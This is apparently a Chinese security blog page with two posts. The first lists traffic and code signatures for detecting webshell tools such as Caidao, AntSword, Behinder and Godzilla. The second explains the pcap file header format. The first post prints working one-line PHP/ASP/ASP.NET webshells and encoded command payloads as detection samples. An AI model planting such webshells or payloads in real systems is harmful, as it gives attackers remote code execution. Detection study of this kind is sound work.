首页
相册
统计
留言
更多
网安工具
CTF工具
关于
Search
1
椭圆曲线加密算法原理(ECC)
5,324 阅读
2
SMBGhost(CVE-2020-0796)漏洞利用
4,302 阅读
3
关于gdb调试
4,065 阅读
4
Arduino使用CubeCell开发板进行LORA无线通信
3,852 阅读
5
Diffie-Hellman密钥协商算法
3,542 阅读
深度学习
技术随笔
应急响应
漏洞复现
流量分析
溯源
入侵检测
Linux
eBPF
服务配置
渗透测试
信息收集
横向攻击
密码学
web安全
CTF
登录
Search
标签搜索
单片机
密码学
Windows
BPF
Python
Linux
Mysql
APP开发
软考
Cobalt Strike
flutter
入侵检测
HSM's Blog
累计撰写
53
篇文章
累计收到
11
条评论
首页
栏目
深度学习
技术随笔
应急响应
漏洞复现
流量分析
溯源
入侵检测
Linux
eBPF
服务配置
渗透测试
信息收集
横向攻击
密码学
web安全
CTF
页面
相册
统计
留言
网安工具
CTF工具
关于
搜索到
2
篇与
的结果
2023-06-26
常见webshell的流量特征
1. 菜刀流量特征webshell文件PHP: <?php @eval($_POST['caidao']);?> ASP: <%eval request("caidao")%> ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>1.1 菜刀webshell的静态特征“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;base64_decode($_POST[z0])**,**base64_decode($_POST[z0])将攻击payload进行Base64解码,因为菜刀默认是使用Base64编码,以避免被检测;&**z0**=QGluaV9zZXQ..,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。注:有少数时候eval方法会被assert方法替代。$_POST**也会被**$_GET、$_REQUEST替代。z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。1.2 菜刀webshell的动态特征请求包中:ua头为百度爬虫请求体中存在eval,base64等特征字符请求体中传递的payload为base64编码,并且存在固定的:QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7Jbase64解码:@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");请求体中执行结果响应为明文,格式为X@Y 结果 X@Y之中2. 蚁剑(base64加密):2.1 蚁剑webshell静态特征请求头特征User-Agent头信息会不断变换,并且可以看出很多古老的请求头请求体特征蚁剑提供5种不同的编码方式根据不同的编码方式去识别必传输的代码字段编码方式编码结果(URL解码后,123为连接密码)default123=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir)base64123=@eval(@base64_decode($_POST['uf25e391d03fb9']));&uf25e391d03fb9=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjChr123=@eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34)....Chr16123=@eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).Rot13123=@eval(@str_rot13($_POST['ve7bf5650ee5dd']));&hba6[...]NQ==&m0a121ca631242=5G&ve7bf5650ee5dd=**@vav_frg**("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);$bcqve=@vav_trg("bcra_onfrqve");vs($bcqve) {2.2 蚁剑webshell动态特征响应包的结果返回格式为 随机数 结果 随机数3. 冰蝎(AES对称加密)冰蝎2.0 webshell木马动态特征在了解冰蝎3.0之前,先看看2.0是怎么交互等2.0中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥Accept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2 建立连接后 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;冰蝎3.0 webshell木马动态特征请求头特征每一个请求头中存在:Pragma: no-cacheCache-Control: no-cache Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp,image/apng, /; q=0.8, application/signed-exchange; v=b3; q=0.9请求体特征通过观察,发现会有大量加密经过加密的数据包。配置连接后,打开会进去phpinfo界面,可观测包的长度大致判断,第一次会出现两个请求,MIME类型分别为text和script。(第一次访问)如下所示。当content-length长度为5xxx时,回应包数据比较少(执行命令)payload的加密内容结尾大部分都有=冰蝎4.0 webshell木马特征请求头特征http请求头Accept: application/json, text/javascript, /; q=0.01 Accept-Encoding: identityAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7通讯默认使用长连接:Connection: Keep-Alive请求体特征跟冰蝎4.0类似4. 哥斯拉(base64加密)请求头特征所有请求中 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,_/_;q=0.8 所有响应中 Cache-Control: no-store, no-cache, must-revalidate,以上两个只能作为弱特征参考同时在所有请求中Cookie中后面都存在;特征请求行为特征哥斯拉继菜刀、蚁剑、冰蝎之后具有更多优点的Webshell管理工具特征检测发送一段固定代码(payload),http响应为空发送一段固定代码(test),执行结果为固定内容发送一段固定代码(getBacisInfo)请求体特征php,asp则为普通的一句话木马选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征请求头除了前面几个,后面的大部分为13xx
2023年06月26日
59 阅读
0 评论
3 点赞
2022-11-15
Pcap文件格式
Pcap文件格式具体信息可以参考:https://wiki.wireshark.org/Development/LibpcapFileFormat#file-formatGlobal Header为实际的 pcap 文件,HEX 格式显示,黄色部分为Global Header, 长度为24B。绿色部分为Packet Header 16B.golbal header 定义如下:typedef struct pcap_hdr_s { guint32 magic_number; /* magic number */ guint16 version_major; /* major version number */ guint16 version_minor; /* minor version number */ gint32 thiszone; /* GMT to local correction */ guint32 sigfigs; /* accuracy of timestamps */ guint32 snaplen; /* max length of captured packets, in octets */ guint32 network; /* data link type */ } pcap_hdr_t;字段说明:magic_number:长度 4B,用来识别文件的字节顺序。0xa1b2c3d4代表顺序读取,0xd4c3b2a1 代表从后向前读取数据。version_major: 长度2B,因为magic_number 为0xd4c3b2a1,从后向前读取,所以 主版本号为00 02,version_minor:长度2B,00 04,所以这个pcap 文件版本号为2.4。thiszone:长度4B, 时区。GMT和本地时间的相差,用秒来表示。如果本地的时区是GMT,那么这个值就设置为0.这个值一般也设置为0sigfigs:长度4B,时间戳精度,一般设置为0。snaplen:长度4B,最大存储长度, 0xff ff (65535)network:长度4B,数据链路类型。01为 ETHERNETLINKTYPE_ nameLINKTYPE_ valueCorresponding DLT_ nameDescriptionLINKTYPE_ETHERNET1DLT_EN10MBIEEE 802.3 Ethernet (10Mb, 100Mb, 1000Mb, and up); the 10MB in the DLT_ name is historical.Packet Headertypedef struct pcaprec_hdr_s { guint32 ts_sec; /* timestamp seconds */ guint32 ts_usec; /* timestamp microseconds */ guint32 incl_len; /* number of octets of packet saved in file */ guint32 orig_len; /* actual length of packet */ } pcaprec_hdr_t; /*pcapRecordHeader--> packet Header*/字段说明:ts_sec:长度4B,时间戳(秒)表1-1:55 fd 80 61 因为是逆向读取所以是 61 80 fd 55,十进制是1635843413 sts_usec:长度4B,时间戳(微妙)表1-1:04 d4 c4 1d 因为是逆向读取所以是 1d c4 d4 04 十进制是499438596 usincl_len:长度 4B,抓取到的 Packet Data 的数据长度 00 00 05 9a, 十进制是 1434 Byteorig_len:长度4B,网络中实际Packet Data的长度,多数情况下和incl_len 相等。
2022年11月15日
128 阅读
0 评论
0 点赞